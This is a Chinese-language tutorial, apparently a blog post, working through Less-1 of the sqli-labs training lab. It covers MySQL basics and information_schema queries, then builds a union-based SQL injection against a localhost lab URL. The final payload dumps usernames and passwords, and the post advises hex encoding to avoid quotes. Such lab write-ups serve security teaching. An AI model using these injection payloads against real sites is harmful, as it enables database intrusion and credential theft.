sqli-labs-php7-master\Less-1

1,进入mysql数据库 mysql -u root -p

接着:

show databases;
use security;
select * from where id='1' LIMIT 0,1;

函数的基本用法

system_user()           #当前系统用户
user()                  #当前登录用户
current_user()          #当前登录用户
database()              #当前使用的数据库
version()               #当前 mysql 版本信息
@@datadir               # mysql 的安装路径
@@version_compile_os    #当前的操作系统
 

mysql基本用法

查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
 

limit 0,1; 其中第一位是从第几个开始,比如 0 代表从第一个开始,而第二位的1代表的就是显示多少个数据

在 sql 语句中:
--+:减减加
-- :减减空格
#:井号
都是代表注释的意思,表示此符号后不执行


在 sql 语句中:
or and
A and B :A,B 都为 true 才为 true
A or B :A,B 中有一个正确结果都是 true
 

order by number:
number : 代表是第几列,进行顺序排列

进入less-1,根据提示发现没有第五行

1、试出 mysql 数据库中 less-1 存在三列

2、这时,已知存在三列 1,2,3
所以这里用 union 
把 id=1 改为 id=-1 使其报错,执行 union 后面的 sql 语句

3、这时候 name 为2
password 为3
说明有回显,可以进行递用
4、在上述中因为有回显,所以现在选择在 3 的位置做一个查库操作
这时就会得到第一个数据库

5、使用 limit 取出更多的数据
因为在 web 网页中就只能显示一行
所以行是不变的,在列上发生变化就可以了

6、如上这样一个一个的输出很慢,所以用到
group_concat()
它会把数据连接成一行输出

7、

这时 mysql 数据库就出来了
information_schema,challenges,mysql,performance_schema,security,sys

这时取 security 进行操作,得到 security 中的表信息
emails,referers,uagents,users
8、

在上一步操作中的最后一个 table_schema='security'
不推荐使用单引号

把单引号去掉,在 security 前写入 0x 变为16进制
选中 security 然后点击 Encoding 在点击 Hex Encode
9、对 users 列表进行操作
同样的 ‘’ 里面的东西一样转化为 16 进制

10、

取出 user 里面的 username 和 password
使用一个批量的函数: concat_ws('~~',A,B)    表示:A~~B

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+

等价于

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from security.users --+

单引号里面的东西尽量变为 0x (16进制)

  • 9
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值